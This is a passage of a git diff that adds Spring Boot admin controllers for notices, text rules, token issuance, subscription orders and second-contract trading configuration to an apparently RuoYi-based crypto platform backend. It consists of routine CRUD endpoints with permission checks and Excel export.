+ if (StringUtils.isNotBlank(tNotice.getModelKey())){ + tNotice.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice.getModelKey()).getCode()); + } + startPage(); + List list = tNoticeService.selectTNoticeList(tNotice); + NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values(); + for (TNotice notice:list) { + if (notice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList.length; i++) { + if (notice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(notice.getModelType())){ + notice.setModelType(childrenEnumList[i].getValue()); + notice.setModelKey(childrenEnumList[i].name()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList) { + if (typeEnum.getCode().equals(notice.getNoticeType())){ + notice.setNoticeType(typeEnum.getValue()); + notice.setKey(typeEnum.name()); + } + } + } + return getDataTable(list); + } + + /** + * 导出通知公告列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:export')") + @Log(title = "通知公告", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TNotice tNotice) + { + List list = tNoticeService.selectTNoticeList(tNotice); + ExcelUtil util = new ExcelUtil(TNotice.class); + util.exportExcel(response, list, "通知公告数据"); + } + + /** + * 获取通知公告详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:query')") + @GetMapping(value = "/{noticeId}") + public AjaxResult getInfo(@PathVariable("noticeId") Long noticeId) + { + TNotice tNotice = tNoticeService.selectTNoticeByNoticeId(noticeId); + NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values(); + if (tNotice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList.length; i++) { + if (tNotice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(tNotice.getModelType())){ +// tNotice.setModelType(childrenEnumList[i].getValue()); + tNotice.setModelKey(childrenEnumList[i].name()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList) { + if (typeEnum.getCode().equals(tNotice.getNoticeType())){ +// tNotice.setNoticeType(typeEnum.getValue()); + tNotice.setKey(typeEnum.name()); + } + } + return success(tNotice); + } + + /** + * 新增通知公告 + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:add')") + @Log(title = "通知公告", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TNotice tNotice) + { + return toAjax(tNoticeService.insertTNotice(tNotice)); + } + + /** + * 修改通知公告 + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:edit')") + @Log(title = "通知公告", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TNotice tNotice) + { + return toAjax(tNoticeService.updateTNotice(tNotice)); + } + + /** + * 删除通知公告 + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:remove')") + @Log(title = "通知公告", businessType = BusinessType.DELETE) + @DeleteMapping("/{noticeIds}") + public AjaxResult remove(@PathVariable Long[] noticeIds) + { + return toAjax(tNoticeService.deleteTNoticeByNoticeIds(noticeIds)); + } + + /** + * 获取公告管理枚举list + * @return + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:NoticeTypeList')") + @GetMapping("/noticeTypeList") + public TableDataInfo noticeTypeList() + { + return getDataTable(NoticeTypeEnum.getEnum()); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java new file mode 100644 index 0000000..150d077 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java @@ -0,0 +1,120 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.enums.OptionRulesEnum; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TOptionRules; +import com.ruoyi.bussiness.service.ITOptionRulesService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 前台文本配置Controller + * + * @author ruoyi + * @date 2023-07-19 + */ +@RestController +@RequestMapping("/bussiness/option/rules") +public class TOptionRulesController extends BaseController +{ + @Autowired + private ITOptionRulesService tOptionRulesService; + + /** + * 查询前台文本配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:list')") + @GetMapping("/list") + public TableDataInfo list(TOptionRules tOptionRules) + { + tOptionRules.setType(OptionRulesEnum.valueOf(tOptionRules.getKey()).getCode()); + startPage(); + List list = tOptionRulesService.selectTOptionRulesList(tOptionRules); + return getDataTable(list); + } + + /** + * 查询前台文本配置菜单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:labelList')") + @GetMapping("/labelList") + public TableDataInfo labelList() + { + return getDataTable(OptionRulesEnum.getEnum()); + } + + /** + * 导出前台文本配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:export')") + @Log(title = "前台文本配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TOptionRules tOptionRules) + { + List list = tOptionRulesService.selectTOptionRulesList(tOptionRules); + ExcelUtil util = new ExcelUtil(TOptionRules.class); + util.exportExcel(response, list, "前台文本配置数据"); + } + + /** + * 获取前台文本配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tOptionRulesService.selectTOptionRulesById(id)); + } + + /** + * 新增前台文本配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:add')") + @Log(title = "前台文本配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TOptionRules tOptionRules) + { + tOptionRules.setType(OptionRulesEnum.valueOf(tOptionRules.getKey()).getCode()); + return toAjax(tOptionRulesService.insertTOptionRules(tOptionRules)); + } + + /** + * 修改前台文本配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:edit')") + @Log(title = "前台文本配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TOptionRules tOptionRules) + { + return toAjax(tOptionRulesService.updateTOptionRules(tOptionRules)); + } + + /** + * 删除前台文本配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:remove')") + @Log(title = "前台文本配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tOptionRulesService.deleteTOptionRulesByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java new file mode 100644 index 0000000..b1a1761 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java @@ -0,0 +1,186 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import java.util.Objects; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TOwnCoinSubscribeOrder; +import com.ruoyi.bussiness.domain.TSpontaneousCoin; +import com.ruoyi.bussiness.service.IKlineSymbolService; +import com.ruoyi.bussiness.service.ITSpontaneousCoinService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TOwnCoin; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 发币Controller + * + * @author ruoyi + * @date 2023-09-18 + */ +@RestController +@RequestMapping("/bussiness/ownCoin") +public class TOwnCoinController extends BaseController +{ + @Autowired + private ITOwnCoinService tOwnCoinService; + @Resource + private ITSpontaneousCoinService tSpontaneousCoinService; + @Resource + private IKlineSymbolService klineSymbolService; + + /** + * 查询发币列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:list')") + @GetMapping("/list") + public TableDataInfo list(TOwnCoin tOwnCoin) + { + startPage(); + List list = tOwnCoinService.selectTOwnCoinList(tOwnCoin); + return getDataTable(list); + } + + /** + * 导出发币列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:export')") + @Log(title = "发币", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TOwnCoin tOwnCoin) + { + List list = tOwnCoinService.selectTOwnCoinList(tOwnCoin); + ExcelUtil util = new ExcelUtil(TOwnCoin.class); + util.exportExcel(response, list, "发币数据"); + } + + /** + * 获取发币详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tOwnCoinService.selectTOwnCoinById(id)); + } + + /** + * 新增发币 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:add')") + @Log(title = "发币", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TOwnCoin tOwnCoin) + { + tOwnCoin.setCoin(tOwnCoin.getCoin().toLowerCase()); + TSpontaneousCoin oldSpontaneousCoin = tSpontaneousCoinService.getOne(new LambdaQueryWrapper().eq(TSpontaneousCoin::getCoin, tOwnCoin.getCoin())); + TOwnCoin oldTOwnCoin = tOwnCoinService.getOne(new LambdaQueryWrapper().eq(TOwnCoin::getCoin, tOwnCoin.getCoin())); + KlineSymbol oldklineSymbol = klineSymbolService.getOne(new LambdaQueryWrapper() + .eq(KlineSymbol::getSymbol, tOwnCoin.getCoin()) + .and(k->k.eq(KlineSymbol::getMarket,"binance").or().eq(KlineSymbol::getMarket,"echo"))); + if (Objects.nonNull(oldSpontaneousCoin) || Objects.nonNull(oldTOwnCoin) || Objects.nonNull(oldklineSymbol)){ + return AjaxResult.error(tOwnCoin.getCoin()+"已经存在"); + } + return toAjax(tOwnCoinService.insertTOwnCoin(tOwnCoin)); + } + + /** + * 修改发币 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:edit')") + @Log(title = "发币", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TOwnCoin tOwnCoin) + { + return toAjax(tOwnCoinService.updateTOwnCoin(tOwnCoin)); + } + + /** + * 删除发币 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:remove')") + @Log(title = "发币", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tOwnCoinService.deleteTOwnCoinByIds(ids)); + } + + /** + * 发布新币 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:edit')") + @Log(title = "发布", businessType = BusinessType.UPDATE) + @GetMapping("/editStatus/{id}") + public AjaxResult editStatus(@PathVariable Long id) + { + return toAjax(tOwnCoinService.editStatus(id)); + } + + /** + * 新币上线中,发币结束 申购资产发送 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:edit')") + @Log(title = "发布", businessType = BusinessType.UPDATE) + @GetMapping("/editReleaseStatus/{id}") + public AjaxResult editReleaseStatus(@PathVariable Long id) + { + return toAjax(tOwnCoinService.editReleaseStatus(id)); + } + + /** + * 查询发币订阅列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:list')") + @Log(title = "订阅") + @GetMapping("/subscribeList") + public TableDataInfo subscribeList(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder) + { + startPage(); + List list = tOwnCoinService.selectTOwnCoinSubscribeOrderList(tOwnCoinSubscribeOrder); + return getDataTable(list); + } + + /** + * 查询订阅订单详情 + * + * @param id + * @return + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:edit')") + @Log(title = "订阅") + @GetMapping("/subOrder/{id}") + public AjaxResult subOrder(@PathVariable Long id) + { + return success(tOwnCoinService.getTOwnCoinSubscribeOrder(id)); + } + + /** + * 修改(审批)发币订阅 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:edit')") + @Log(title = "订阅", businessType = BusinessType.UPDATE) + @PostMapping("/editSubscribe") + public AjaxResult editSubscribe(@RequestBody TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder) + { + return toAjax(tOwnCoinService.updateTOwnCoinSubscribeOrder(tOwnCoinSubscribeOrder)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java new file mode 100644 index 0000000..16330ee --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java @@ -0,0 +1,118 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TOwnCoinOrder; +import com.ruoyi.bussiness.service.ITOwnCoinOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 申购订单Controller + * + * @author ruoyi + * @date 2023-09-20 + */ +@RestController +@RequestMapping("/bussiness/ownCoinOrder") +public class TOwnCoinOrderController extends BaseController +{ + @Autowired + private ITOwnCoinOrderService tOwnCoinOrderService; + + /** + * 查询申购订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:list')") + @GetMapping("/list") + public TableDataInfo list(TOwnCoinOrder tOwnCoinOrder) + { + startPage(); + List list = tOwnCoinOrderService.selectTOwnCoinOrderList(tOwnCoinOrder); + return getDataTable(list); + } + + /** + * 导出申购订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:export')") + @Log(title = "申购订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TOwnCoinOrder tOwnCoinOrder) + { + List list = tOwnCoinOrderService.selectTOwnCoinOrderList(tOwnCoinOrder); + ExcelUtil util = new ExcelUtil(TOwnCoinOrder.class); + util.exportExcel(response, list, "申购订单数据"); + } + + /** + * 获取申购订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tOwnCoinOrderService.selectTOwnCoinOrderById(id)); + } + + /** + * 新增申购订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:add')") + @Log(title = "申购订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TOwnCoinOrder tOwnCoinOrder) + { + return toAjax(tOwnCoinOrderService.insertTOwnCoinOrder(tOwnCoinOrder)); + } + + /** + * 修改申购订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:edit')") + @Log(title = "申购订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TOwnCoinOrder tOwnCoinOrder) + { + return toAjax(tOwnCoinOrderService.updateTOwnCoinOrder(tOwnCoinOrder)); + } + + /** + * 删除申购订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:remove')") + @Log(title = "申购订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tOwnCoinOrderService.deleteTOwnCoinOrderByIds(ids)); + } + + /** + * 审批(修改)申购订单 + * + * @param tOwnCoinOrder + * @return + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:edit')") + @Log(title = "申购订单", businessType = BusinessType.UPDATE) + @PostMapping("/editPlacing") + public AjaxResult editPlacing(@RequestBody TOwnCoinOrder tOwnCoinOrder) + { + return tOwnCoinOrderService.editPlacing(tOwnCoinOrder); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java new file mode 100644 index 0000000..4b34ad7 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java @@ -0,0 +1,150 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import java.util.Map; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.domain.vo.SecondCoinCopyVO; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 秒合约币种配置Controller + * + * @author ruoyi + * @date 2023-07-11 + */ +@RestController +@RequestMapping("/bussiness/coin") +public class TSecondCoinConfigController extends BaseController +{ + @Autowired + private ITSecondCoinConfigService tSecondCoinConfigService; + + /** + * 查询秒合约币种配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:list')") + @GetMapping("/list") + public TableDataInfo list(TSecondCoinConfig tSecondCoinConfig) + { + startPage(); + List list = tSecondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + return getDataTable(list); + } + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:list')") + @GetMapping("/copylist") + public AjaxResult copylist(TSecondCoinConfig tSecondCoinConfig) + { + List list = tSecondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + return AjaxResult.success(list); + } + + /** + * 导出秒合约币种配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:export')") + @Log(title = "秒合约币种配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TSecondCoinConfig tSecondCoinConfig) + { + List list = tSecondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + ExcelUtil util = new ExcelUtil(TSecondCoinConfig.class); + util.exportExcel(response, list, "秒合约币种配置数据"); + } + + /** + * 获取秒合约币种配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tSecondCoinConfigService.selectTSecondCoinConfigById(id)); + } + + /** + * 新增秒合约币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:add')") + @Log(title = "秒合约币种配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TSecondCoinConfig tSecondCoinConfig) + { + TSecondCoinConfig one = tSecondCoinConfigService.getOne(new LambdaQueryWrapper().eq(TSecondCoinConfig::getCoin, tSecondCoinConfig.getCoin())); + if(null != one){ + return AjaxResult.success("请勿重复添加!"); + } + tSecondCoinConfig.setCreateBy(SecurityUtils.getUsername()); + return toAjax(tSecondCoinConfigService.insertSecondCoin(tSecondCoinConfig)); + } + /** + * 一键添加秒合约币种 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:add')") + @Log(title = "秒合约币种配置", businessType = BusinessType.INSERT) + @PostMapping("batchSave/{coins}") + public AjaxResult batchSave(@PathVariable String[] coins) + { + tSecondCoinConfigService.batchSave(coins); + return AjaxResult.success(); + } + + /** + * 修改秒合约币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:edit')") + @Log(title = "秒合约币种配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TSecondCoinConfig tSecondCoinConfig) + { + tSecondCoinConfig.setUpdateBy(SecurityUtils.getUsername()); + return toAjax(tSecondCoinConfigService.updateTSecondCoinConfig(tSecondCoinConfig)); + } + + /** + * 删除秒合约币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:remove')") + @Log(title = "秒合约币种配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tSecondCoinConfigService.deleteTSecondCoinConfigByIds(ids)); + } + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:bathCopy')") + @Log(title = "查看已有的周期配置币种", businessType = BusinessType.DELETE) + @PostMapping("/query/bathCopy") + public AjaxResult bathCopy() + { + return AjaxResult.success(tSecondCoinConfigService.selectBathCopySecondCoinConfigList()); + } + + /** + * 周期配置批量复制 + * @return + */ + @PostMapping("/bathCopyIng") + public AjaxResult bathCopyIng(@RequestBody SecondCoinCopyVO secondCoinCopyVO) + { + return toAjax(tSecondCoinConfigService.bathCopyIng(secondCoinCopyVO)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java new file mode 100644 index 0000000..87d9154 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java @@ -0,0 +1,125 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TSecondContractOrder; +import com.ruoyi.bussiness.service.ITSecondContractOrderService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 秒合约订单Controller + * + * @author ruoyi + * @date 2023-07-13 + */ +@RestController +@RequestMapping("/bussiness/secondContractOrder") +public class TSecondContractOrderController extends BaseController +{ + @Autowired + private ITSecondContractOrderService tSecondContractOrderService; + + /** + * 查询秒合约订单列表 + */ + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:list')") + @GetMapping("/list") + public TableDataInfo list(TSecondContractOrder tSecondContractOrder) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tSecondContractOrder.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tSecondContractOrderService.selectTSecondContractOrderList(tSecondContractOrder); + return getDataTable(list); + } + + /** + * 导出秒合约订单列表 + */ + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:export')") + @Log(title = "秒合约订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TSecondContractOrder tSecondContractOrder) + { + List list = tSecondContractOrderService.selectTSecondContractOrderList(tSecondContractOrder); + ExcelUtil util = new ExcelUtil(TSecondContractOrder.class); + util.exportExcel(response, list, "秒合约订单数据"); + } + + /** + * 获取秒合约订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tSecondContractOrderService.selectTSecondContractOrderById(id)); + } + + /** + * 新增秒合约订单 + */ + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:add')") + @Log(title = "秒合约订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TSecondContractOrder tSecondContractOrder) + { + return toAjax(tSecondContractOrderService.insertTSecondContractOrder(tSecondContractOrder)); + } + + /** + * 修改秒合约订单 + */ + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:edit')") + @Log(title = "秒合约订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TSecondContractOrder tSecondContractOrder) + { + return toAjax(tSecondContractOrderService.updateTSecondContractOrder(tSecondContractOrder)); + } + + /** + * 删除秒合约订单 + */ + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:remove')") + @Log(title = "秒合约订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tSecondContractOrderService.deleteTSecondContractOrderByIds(ids)); + } + + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:edit')") + @Log(title = "秒合约订单", businessType = BusinessType.UPDATE) + @PostMapping("/buff") + public AjaxResult buff(@RequestBody TSecondContractOrder tSecondContractOrder) + { + return toAjax(tSecondContractOrderService.updateTSecondContractOrder(tSecondContractOrder)); + } + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java new file mode 100644 index 0000000..bc18d11 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TSecondPeriodConfig; +import com.ruoyi.bussiness.service.ITSecondPeriodConfigService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 秒合约币种周期配置Controller + * + * @author ruoyi + * @date 2023-07-11 + */ +@RestController +@RequestMapping("/bussiness/period") +public class TSecondPeriodConfigController extends BaseController +{ + @Autowired + private ITSecondPeriodConfigService tSecondPeriodConfigService; + + /** + * 查询秒合约币种周期配置列表 + */ + @PreAuthorize("@ss.hasPermi('period:config:list')") + @GetMapping("/list") + public TableDataInfo list(TSecondPeriodConfig tSecondPeriodConfig) + { + startPage(); + List list = tSecondPeriodConfigService.selectTSecondPeriodConfigList(tSecondPeriodConfig); + return getDataTable(list); + } + + /** + * 导出秒合约币种周期配置列表 + */ + @PreAuthorize("@ss.hasPermi('period:config:export')") + @Log(title = "秒合约币种周期配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TSecondPeriodConfig tSecondPeriodConfig) + { + List list = 